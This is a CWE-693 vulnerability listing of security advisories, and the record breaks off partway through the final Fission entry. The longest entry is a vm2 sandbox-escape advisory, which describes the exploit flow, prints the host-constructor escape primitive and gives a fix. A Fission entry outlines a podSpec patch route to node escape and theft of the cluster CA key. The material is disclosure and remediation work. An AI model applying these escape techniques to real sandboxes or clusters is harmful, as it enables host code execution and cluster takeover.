Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

API response cwe.mitre.org

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1326 vulnerabilities reference this CWE, most recent first.

GHSA-WJWH-QQVP-G4P4

Vulnerability from github – Published: 2026-10-05 22:34 – Updated: 2026-10-05 22:34
VLAI
Summary
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Details

Summary

There is a sandbox escape in vm2 3.11.5 / current HEAD when it is used on Node.js 26. The issue is reachable from a default new VM() sandbox. No NodeVM, require permission, host object injection, or intentionally unsafe configuration is required.

The escape is a patch-bypass of the same security invariant addressed by GHSA-6j2x-vhqr-qr7q. The earlier fix removed the JSPI entry points WebAssembly.promising and WebAssembly.Suspending, because those APIs exposed a Promise path whose host-realm Promise.prototype was not intercepted by vm2's Promise hardening or bridge layer.

The same unsafe class remains reachable through WebAssembly.compileStreaming and WebAssembly.instantiateStreaming. On Node 26, these streaming APIs can produce a raw host-realm Promise path that rejects with a host-realm error. By controlling Symbol.species through Promise.prototype.finally, sandbox code can receive that raw host error object, walk from the host error constructor to the host Function constructor, and recover the real host process object.

The proof of concept demonstrates this by first showing that direct access to process, require, and constructor-based escapes are blocked in the same default VM. It then reaches the host process, verifies that the recovered pid matches the parent Node process, and writes a harmless marker file through host fs.

Impact

This is a sandbox escape. In applications that expose vm2 execution to attacker-controlled JavaScript, the issue can become host code execution in the context of the Node.js process running the sandbox.

This is not remote code execution by default. The remote aspect depends on the embedding application. The accurate framing is:

An attacker who can supply JavaScript to a vm2 VM sandbox on Node 26 can break out of the vm2 boundary and obtain host Node.js capabilities.

This matters for services that use vm2 as a security boundary for untrusted JavaScript, including plugin runners, workflow engines, automation platforms, online code runners, browser-automation sandboxes, and AI-agent or user-script execution environments.

The PoC only writes a marker file under the OS temporary directory. That marker is intentionally harmless. The security impact is not the marker itself; the security impact is that sandbox-controlled code obtains the real host process and host modules after the control case proves those capabilities are normally blocked.

Tested versions and configuration

Tested vm2 3.11.5 at commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92.

The escape reproduced on Node.js 26.2.0. I also tested the same PoC on Node.js 20.20.2, 22.22.3, and 24.15.0; those versions did not recover the host process through this path.

The test case uses the default VM boundary only:

const { VM } = require('./lib/main');
const vm = new VM({ timeout: 8000 });

vm.run(attackerControlledJavaScript);

No NodeVM was used. The sandbox was not given require, process, fs, child_process, host callbacks, or host objects. The PoC only controls the JavaScript string passed to vm.run().

The version dependency appears to be in the final delivery step: on Node 26 the host-realm rejection from WebAssembly.compileStreaming reaches the attacker-controlled finally/Symbol.species capability, while the same path did not become exploitable in my Node 20/22/24 tests. I would still treat the fix as version-independent: sandbox code should not be able to receive this raw host-Promise path from the WebAssembly streaming APIs at all.

Root cause

The security boundary relies on vm2 keeping Promise objects that are reachable from sandbox code in one of two safe shapes:

  1. Sandbox-realm Promise. The Promise uses the sandbox's Promise prototype chain, so vm2's Promise hardening can pin species and sanitize callbacks.
  2. Bridge-proxied host Promise. The Promise is a host object crossing through vm2's membrane, so bridge traps and callback sanitizers apply.

WebAssembly.compileStreaming and WebAssembly.instantiateStreaming introduce a third shape: a raw host-realm Promise path that is directly reachable from sandbox code and is not bridge-proxied. This is the same class of object that made the JSPI issue dangerous.

The exploitability depends on two facts being true at the same time:

  • the streaming WebAssembly API returns a Promise path whose relevant Promise machinery is host-realm rather than sandbox-realm; and
  • the rejection generated by passing an invalid streaming source is a host-realm TypeError from Node's WebAssembly streaming implementation.

Once that host error is delivered to attacker-controlled code, the usual host-realm constructor walk becomes possible:

hostError.constructor.constructor('return process')()

That expression resolves through the host Function constructor, not the sandbox one, because the error object is host-realm.

Exploit flow

The exploit flow is small, but the realm boundary is the important part:

  1. Sandbox code calls WebAssembly.compileStreaming(0).
  2. The argument is not a valid Response or Promise resolving to a Response, so the returned Promise rejects.
  3. On Node 26, the rejection value is a host-realm error object.
  4. The attacker installs a controlled constructor accessor on the returned Promise and provides a custom Symbol.species constructor.
  5. Calling p.finally(() => {}) reaches the species path used by Promise.prototype.finally.
  6. NewPromiseCapability(F) invokes the attacker-controlled constructor F and exposes the result capability functions.
  7. When the Promise rejects, the host-realm error is delivered to the attacker-controlled rejection path.
  8. The attacker uses the host error's constructor chain to recover host process.
  9. The PoC loads host fs through process.mainModule.require('fs') and writes a harmless marker file.

Promise.prototype.finally is important because it is the remaining species-sensitive Promise combinator that is not pinned the same way as vm2's hardened then, catch, and static Promise helpers. However, simply wrapping the sandbox's Promise.prototype.finally is not sufficient for this bug: the dangerous Promise path is raw host-side Promise machinery, so the sandbox's own finally wrapper is not the method that protects this call. The dangerous source needs to be removed or safely wrapped.

Relationship to GHSA-6j2x-vhqr-qr7q

This is not the original JSPI path. Current HEAD removes WebAssembly.promising and WebAssembly.Suspending, and the old PoC is blocked.

The bypass here reaches the same unsafe Promise shape through a different source: WebAssembly.compileStreaming / WebAssembly.instantiateStreaming. That is why I am reporting it as an incomplete fix for the GHSA-6j2x class rather than as a duplicate of the already-fixed JSPI issue.

Proof of concept

The PoC is provided separately as:

escape-poc.js

The PoC uses a default new VM() with no privileged objects exposed; the marker file is only a harmless proof that the sandboxed code recovered host-side capability.

The PoC performs four control checks first:

process access: blocked
require access: blocked
constructor process access: blocked
constructor require(fs): blocked

Then it runs the exploit path and verifies that the recovered process is the actual host process by comparing the recovered pid with the parent process pid.

Expected vulnerable output on Node 26.2.0:

[control] process access             : blocked
[control] require access             : blocked
[control] constructor process access : blocked
[control] constructor require(fs)    : blocked
[exploit] host process reached       : yes
[exploit] host pid                   : <pid>
[exploit] host pid matches parent pid: yes
[exploit] host execPath              : <node executable>
[exploit] host version               : v26.2.0
[exploit] marker file                : created
[result] VULNERABLE

Expected output on Node 24.15.0:

[control] process access             : blocked
[control] require access             : blocked
[control] constructor process access : blocked
[control] constructor require(fs)    : blocked
[exploit] host process reached       : no
[exploit] marker file                : not created
[result] not reproduced on this Node version

The marker file contains only a proof string, the Node version, the pid, and a timestamp. As a sanity check, I reproduced the Node 26 result from a fresh public clone at commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92; lib/ was unmodified, and only the PoC file was copied in.

Suggested fix

The minimal fix is to remove the remaining streaming WebAssembly APIs from the sandbox in the same WebAssembly hardening block that already removes the JSPI APIs.

if (typeof WebAssembly.compileStreaming !== 'undefined') {
    localReflectDeleteProperty(WebAssembly, 'compileStreaming');
}
if (typeof WebAssembly.instantiateStreaming !== 'undefined') {
    localReflectDeleteProperty(WebAssembly, 'instantiateStreaming');
}

This patch works against the PoC on Node 26.2.0 and Node 24.15.0. With the patch applied, the streaming APIs are unavailable inside the sandbox, the PoC does not recover the host process, and the marker file is not written.

Two additional defense-in-depth change recommendations:

  1. Add a Promise.prototype.finally hardening path for consistency with the existing Promise hardening. This is not sufficient by itself for this bug, but it removes a known species-sensitive gap for sandbox-realm Promises.
  2. Add a regression/invariant test that checks sandbox-reachable Promise-producing intrinsics do not expose raw host-Promise paths outside the bridge.

The non-streaming WebAssembly Promise APIs was also checked. The end-to-end escape reproduced through compileStreaming and instantiateStreaming, but not through compile or instantiate in my tests. The minimal patch therefore removes the two confirmed exploitable streaming APIs, while the broader invariant remains that sandbox code should not receive raw host-Promise paths.

Regression tests

The regression test should cover both the direct fix and the end-to-end invariant:

  1. WebAssembly.compileStreaming is unavailable or safely wrapped inside new VM().
  2. WebAssembly.instantiateStreaming is unavailable or safely wrapped inside new VM().
  3. The PoC cannot recover host process on Node 26.
  4. Direct access to process, require, and constructor-based process access remains blocked.
  5. The finally + species primitive does not reach host process through any WebAssembly Promise-returning source.
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.1"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:34:22Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThere is a sandbox escape in vm2 `3.11.5` / current HEAD when it is used on Node.js 26. The issue is reachable from a default `new VM()` sandbox. No `NodeVM`, `require` permission, host object injection, or intentionally unsafe configuration is required.\n\nThe escape is a patch-bypass of the same security invariant addressed by GHSA-6j2x-vhqr-qr7q. The earlier fix removed the JSPI entry points `WebAssembly.promising` and `WebAssembly.Suspending`, because those APIs exposed a Promise path whose host-realm `Promise.prototype` was not intercepted by vm2\u0027s Promise hardening or bridge layer.\n\nThe same unsafe class remains reachable through `WebAssembly.compileStreaming` and `WebAssembly.instantiateStreaming`. On Node 26, these streaming APIs can produce a raw host-realm Promise path that rejects with a host-realm error. By controlling `Symbol.species` through `Promise.prototype.finally`, sandbox code can receive that raw host error object, walk from the host error constructor to the host `Function` constructor, and recover the real host `process` object.\n\nThe proof of concept demonstrates this by first showing that direct access to `process`, `require`, and constructor-based escapes are blocked in the same default VM. It then reaches the host `process`, verifies that the recovered pid matches the parent Node process, and writes a harmless marker file through host `fs`.\n\n\n\n## Impact\n\nThis is a sandbox escape. In applications that expose vm2 execution to attacker-controlled JavaScript, the issue can become host code execution in the context of the Node.js process running the sandbox.\n\nThis is not remote code execution by default. The remote aspect depends on the embedding application. The accurate framing is:\n\n\u003e An attacker who can supply JavaScript to a vm2 `VM` sandbox on Node 26 can break out of the vm2 boundary and obtain host Node.js capabilities.\n\nThis matters for services that use vm2 as a security boundary for untrusted JavaScript, including plugin runners, workflow engines, automation platforms, online code runners, browser-automation sandboxes, and AI-agent or user-script execution environments.\n\nThe PoC only writes a marker file under the OS temporary directory. That marker is intentionally harmless. The security impact is not the marker itself; the security impact is that sandbox-controlled code obtains the real host `process` and host modules after the control case proves those capabilities are normally blocked.\n\n\n\n## Tested versions and configuration\n\nTested vm2 `3.11.5` at commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`.\n\nThe escape reproduced on Node.js `26.2.0`. I also tested the same PoC on Node.js `20.20.2`, `22.22.3`, and `24.15.0`; those versions did not recover the host process through this path.\n\nThe test case uses the default `VM` boundary only:\n\n```js\nconst { VM } = require(\u0027./lib/main\u0027);\nconst vm = new VM({ timeout: 8000 });\n\nvm.run(attackerControlledJavaScript);\n```\n\nNo `NodeVM` was used. The sandbox was not given `require`, `process`, `fs`, `child_process`, host callbacks, or host objects. The PoC only controls the JavaScript string passed to `vm.run()`.\n\nThe version dependency appears to be in the final delivery step: on Node 26 the host-realm rejection from `WebAssembly.compileStreaming` reaches the attacker-controlled `finally`/`Symbol.species` capability, while the same path did not become exploitable in my Node 20/22/24 tests. I would still treat the fix as version-independent: sandbox code should not be able to receive this raw host-Promise path from the WebAssembly streaming APIs at all.\n\n\n\n## Root cause\n\nThe security boundary relies on vm2 keeping Promise objects that are reachable from sandbox code in one of two safe shapes:\n\n1. **Sandbox-realm Promise.** The Promise uses the sandbox\u0027s Promise prototype chain, so vm2\u0027s Promise hardening can pin species and sanitize callbacks.\n2. **Bridge-proxied host Promise.** The Promise is a host object crossing through vm2\u0027s membrane, so bridge traps and callback sanitizers apply.\n\n`WebAssembly.compileStreaming` and `WebAssembly.instantiateStreaming` introduce a third shape: a raw host-realm Promise path that is directly reachable from sandbox code and is not bridge-proxied. This is the same class of object that made the JSPI issue dangerous.\n\nThe exploitability depends on two facts being true at the same time:\n\n- the streaming WebAssembly API returns a Promise path whose relevant Promise machinery is host-realm rather than sandbox-realm; and\n- the rejection generated by passing an invalid streaming source is a host-realm `TypeError` from Node\u0027s WebAssembly streaming implementation.\n\nOnce that host error is delivered to attacker-controlled code, the usual host-realm constructor walk becomes possible:\n\n```js\nhostError.constructor.constructor(\u0027return process\u0027)()\n```\n\nThat expression resolves through the host `Function` constructor, not the sandbox one, because the error object is host-realm.\n\n\n\n## Exploit flow\n\nThe exploit flow is small, but the realm boundary is the important part:\n\n1. Sandbox code calls `WebAssembly.compileStreaming(0)`.\n2. The argument is not a valid `Response` or Promise resolving to a `Response`, so the returned Promise rejects.\n3. On Node 26, the rejection value is a host-realm error object.\n4. The attacker installs a controlled `constructor` accessor on the returned Promise and provides a custom `Symbol.species` constructor.\n5. Calling `p.finally(() =\u003e {})` reaches the species path used by `Promise.prototype.finally`.\n6. `NewPromiseCapability(F)` invokes the attacker-controlled constructor `F` and exposes the result capability functions.\n7. When the Promise rejects, the host-realm error is delivered to the attacker-controlled rejection path.\n8. The attacker uses the host error\u0027s constructor chain to recover host `process`.\n9. The PoC loads host `fs` through `process.mainModule.require(\u0027fs\u0027)` and writes a harmless marker file.\n\n`Promise.prototype.finally` is important because it is the remaining species-sensitive Promise combinator that is not pinned the same way as vm2\u0027s hardened `then`, `catch`, and static Promise helpers. However, simply wrapping the sandbox\u0027s `Promise.prototype.finally` is not sufficient for this bug: the dangerous Promise path is raw host-side Promise machinery, so the sandbox\u0027s own `finally` wrapper is not the method that protects this call. The dangerous source needs to be removed or safely wrapped.\n\n\n\n## Relationship to GHSA-6j2x-vhqr-qr7q\n\nThis is not the original JSPI path. Current HEAD removes `WebAssembly.promising` and `WebAssembly.Suspending`, and the old PoC is blocked.\n\nThe bypass here reaches the same unsafe Promise shape through a different source: `WebAssembly.compileStreaming` / `WebAssembly.instantiateStreaming`. That is why I am reporting it as an incomplete fix for the GHSA-6j2x class rather than as a duplicate of the already-fixed JSPI issue.\n\n\n## Proof of concept\n\nThe PoC is provided separately as:\n\n[escape-poc.js](https://github.com/user-attachments/files/28443205/escape-poc.js)\n\nThe PoC uses a default `new VM()` with no privileged objects exposed; the marker file is only a harmless proof that the sandboxed code recovered host-side capability.\n\nThe PoC performs four control checks first:\n\n```text\nprocess access: blocked\nrequire access: blocked\nconstructor process access: blocked\nconstructor require(fs): blocked\n```\n\nThen it runs the exploit path and verifies that the recovered process is the actual host process by comparing the recovered pid with the parent process pid.\n\nExpected vulnerable output on Node 26.2.0:\n\n```text\n[control] process access             : blocked\n[control] require access             : blocked\n[control] constructor process access : blocked\n[control] constructor require(fs)    : blocked\n[exploit] host process reached       : yes\n[exploit] host pid                   : \u003cpid\u003e\n[exploit] host pid matches parent pid: yes\n[exploit] host execPath              : \u003cnode executable\u003e\n[exploit] host version               : v26.2.0\n[exploit] marker file                : created\n[result] VULNERABLE\n```\n\nExpected output on Node 24.15.0:\n\n```text\n[control] process access             : blocked\n[control] require access             : blocked\n[control] constructor process access : blocked\n[control] constructor require(fs)    : blocked\n[exploit] host process reached       : no\n[exploit] marker file                : not created\n[result] not reproduced on this Node version\n```\n\nThe marker file contains only a proof string, the Node version, the pid, and a timestamp.\nAs a sanity check, I reproduced the Node 26 result from a fresh public clone at commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`; `lib/` was unmodified, and only the PoC file was copied in.\n\n## Suggested fix\n\nThe minimal fix is to remove the remaining streaming WebAssembly APIs from the sandbox in the same WebAssembly hardening block that already removes the JSPI APIs.\n\n```js\nif (typeof WebAssembly.compileStreaming !== \u0027undefined\u0027) {\n    localReflectDeleteProperty(WebAssembly, \u0027compileStreaming\u0027);\n}\nif (typeof WebAssembly.instantiateStreaming !== \u0027undefined\u0027) {\n    localReflectDeleteProperty(WebAssembly, \u0027instantiateStreaming\u0027);\n}\n```\n\nThis patch works against the PoC on Node 26.2.0 and Node 24.15.0. With the patch applied, the streaming APIs are unavailable inside the sandbox, the PoC does not recover the host process, and the marker file is not written.\n\nTwo additional defense-in-depth change recommendations:\n\n1. Add a `Promise.prototype.finally` hardening path for consistency with the existing Promise hardening. This is not sufficient by itself for this bug, but it removes a known species-sensitive gap for sandbox-realm Promises.\n2. Add a regression/invariant test that checks sandbox-reachable Promise-producing intrinsics do not expose raw host-Promise paths outside the bridge.\n\nThe non-streaming WebAssembly Promise APIs was also checked. The end-to-end escape reproduced through `compileStreaming` and `instantiateStreaming`, but not through `compile` or `instantiate` in my tests. The minimal patch therefore removes the two confirmed exploitable streaming APIs, while the broader invariant remains that sandbox code should not receive raw host-Promise paths.\n\n## Regression tests\n\nThe regression test should cover both the direct fix and the end-to-end invariant:\n\n1. `WebAssembly.compileStreaming` is unavailable or safely wrapped inside `new VM()`.\n2. `WebAssembly.instantiateStreaming` is unavailable or safely wrapped inside `new VM()`.\n3. The PoC cannot recover host `process` on Node 26.\n4. Direct access to `process`, `require`, and constructor-based process access remains blocked.\n5. The `finally` + species primitive does not reach host `process` through any WebAssembly Promise-returning source.",
  "id": "GHSA-wjwh-qqvp-g4p4",
  "modified": "2026-10-05T22:34:22Z",
  "published": "2026-10-05T22:34:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-wjwh-qqvp-g4p4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/cb85599e4470afa308e7c807b5c6b3ec9bf58b18"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/blob/415339f698f0d52d3c5ad358b12b79c8072d5b4b/lib/setup-sandbox.js#L510-L523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-3.10.1-through-3.11.6-sandbox-escape-via-webassembly-compilestreaming"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass"
}

GHSA-WM47-XW3J-CMFH

Vulnerability from github – Published: 2025-07-30 00:32 – Updated: 2025-11-03 21:34
VLAI
Details

A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Sequoia 15.6. A sandboxed process may be able to circumvent sandbox restrictions.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-43273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-30T00:15:38Z",
    "severity": "CRITICAL"
  },
  "details": "A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Sequoia 15.6. A sandboxed process may be able to circumvent sandbox restrictions.",
  "id": "GHSA-wm47-xw3j-cmfh",
  "modified": "2025-11-03T21:34:17Z",
  "published": "2025-07-30T00:32:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43273"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124149"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125112"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jul/32"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Sep/55"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WM7M-2HVR-5M88

Vulnerability from github – Published: 2026-06-09 18:31 – Updated: 2026-06-09 18:31
VLAI
Details

Protection mechanism failure in Windows Secure Boot allows an authorized attacker to bypass a security feature locally.

Severity
7.9 (High)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-48568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T17:17:45Z",
    "severity": "HIGH"
  },
  "details": "Protection mechanism failure in Windows Secure Boot allows an authorized attacker to bypass a security feature locally.",
  "id": "GHSA-wm7m-2hvr-5m88",
  "modified": "2026-06-09T18:31:00Z",
  "published": "2026-06-09T18:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48568"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WM9F-3FJP-V86P

Vulnerability from github – Published: 2024-06-13 21:30 – Updated: 2024-06-13 21:30
VLAI
Details

Dropbox Desktop Folder Sharing Mark-of-the-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-of-the-Web protection mechanism on affected installations of Dropbox Desktop. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the handling of shared folders. When syncing files from a shared folder belonging to an untrusted account, the Dropbox desktop application does not apply the Mark-of-the-Web to the local files. An attacker can leverage this vulnerability to execute arbitrary code in the context of the current user. Was ZDI-CAN-23991.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-5924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T20:15:16Z",
    "severity": "HIGH"
  },
  "details": "Dropbox Desktop Folder Sharing Mark-of-the-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-of-the-Web protection mechanism on affected installations of Dropbox Desktop. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the handling of shared folders. When syncing files from a shared folder belonging to an untrusted account, the Dropbox desktop application does not apply the Mark-of-the-Web to the local files. An attacker can leverage this vulnerability to execute arbitrary code in the context of the current user. Was ZDI-CAN-23991.",
  "id": "GHSA-wm9f-3fjp-v86p",
  "modified": "2024-06-13T21:30:53Z",
  "published": "2024-06-13T21:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5924"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-677"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WMFH-H3VM-RCXM

Vulnerability from github – Published: 2022-10-19 19:00 – Updated: 2022-12-16 20:00
VLAI
Summary
Content-Security-Policy protection for user content disabled by Jenkins NeuVector Vulnerability Scanner Plugin
Details

Jenkins sets the Content-Security-Policy header to static files served by Jenkins (specifically DirectoryBrowserSupport), such as workspaces, /userContent, or archived artifacts, unless a Resource Root URL is specified.

NeuVector Vulnerability Scanner Plugin 1.20 and earlier globally disables the Content-Security-Policy header for static files served by Jenkins whenever the 'NeuVector Vulnerability Scanner' build step is executed. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.

Jenkins instances with Resource Root URL configured are unaffected.

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.20"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.jenkins.plugins:neuvector-vulnerability-scanner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-43434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-19T21:21:50Z",
    "nvd_published_at": "2022-10-19T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Jenkins sets the Content-Security-Policy header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts, unless a Resource Root URL is specified.\n\nNeuVector Vulnerability Scanner Plugin 1.20 and earlier globally disables the `Content-Security-Policy` header for static files served by Jenkins whenever the \u0027NeuVector Vulnerability Scanner\u0027 build step is executed. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/book/security/user-content/#resource-root-url) configured are unaffected.",
  "id": "GHSA-wmfh-h3vm-rcxm",
  "modified": "2022-12-16T20:00:32Z",
  "published": "2022-10-19T19:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43434"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/neuvector-vulnerability-scanner-plugin/commit/e0a72373ef1c20c41b8eb086883a7090cf04809c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/neuvector-vulnerability-scanner-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2865"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/10/19/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Content-Security-Policy protection for user content disabled by Jenkins NeuVector Vulnerability Scanner Plugin"
}

GHSA-WMGG-3P4H-48X7

Vulnerability from github – Published: 2026-06-30 18:18 – Updated: 2026-06-30 18:18
VLAI
Summary
Fission Environment CRD PodSpec Injection Leading to Node Escape and Cluster Takeover
Details

Summary

A stronger framing of the same root cause as GHSA-gx55-f84r-v3r7: the Environment.spec.runtime.podSpec / spec.builder.podSpec passthrough lacked validation, and MergePodSpec propagated dangerous fields into the generated pods.

Details

Three independent flaws compounded:

  1. Validate gap. pkg/apis/core/v1/validation.go::Environment.Validate checked only container naming conventions, never hostPID/hostIPC/hostNetwork/hostPath/privileged.
  2. UPDATE bypass. The pkg/webhook/environment.go kubebuilder marker registered verbs=create only. A tenant could kubectl apply a clean Environment and then kubectl patch in the dangerous fields — the webhook was never called.
  3. Merge propagation. pkg/executor/util/merge.go::MergePodSpec unconditionally forwarded HostPID, HostIPC, HostNetwork, Volumes (including hostPath), SecurityContext, and ServiceAccountName into the Deployments generated by poolmgr / newdeploy / buildermgr.

A kubectl apply plus a follow-up kubectl patch caused poolmgr to schedule a privileged pod with a host-root mount within roughly 20 seconds. From that pod the cluster CA private key was readable, allowing the attacker to sign arbitrary kubelet certificates and achieve full cluster takeover.

Impact

environments.fission.io create/update RBAC is escalated to node escape and, via the readable cluster CA key, full cluster takeover.

Fix

Fixed in #3391 (with the companion buildermgr SA-token fix in #3390) and released in v1.24.0. Each enumerated flaw is addressed:

  1. Validate — ValidatePodSpecSafety is called from Environment.Validate for both Runtime.PodSpec and Builder.PodSpec.
  2. UPDATE bypass — the webhook marker is extended to verbs=create;update; chart and envtest manifests are aligned.
  3. Merge propagation — host namespaces, ServiceAccountName, and hostPath volumes are stripped at the merge layer; per-container privileged/allowPrivilegeEscalation and dangerous capabilities are sanitized.

See GHSA-gx55-f84r-v3r7 for the detailed fix — both advisories close to the same commit.

Duplicate handling

This advisory and GHSA-gx55-f84r-v3r7 were reported separately but close to the same code fix. Both are published to acknowledge each reporter's contribution and to keep the public CVE record clear about the multi-layer nature of the issue.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.23.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fission/fission"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-30T18:18:05Z",
    "nvd_published_at": "2026-06-10T18:17:12Z",
    "severity": "CRITICAL"
  },
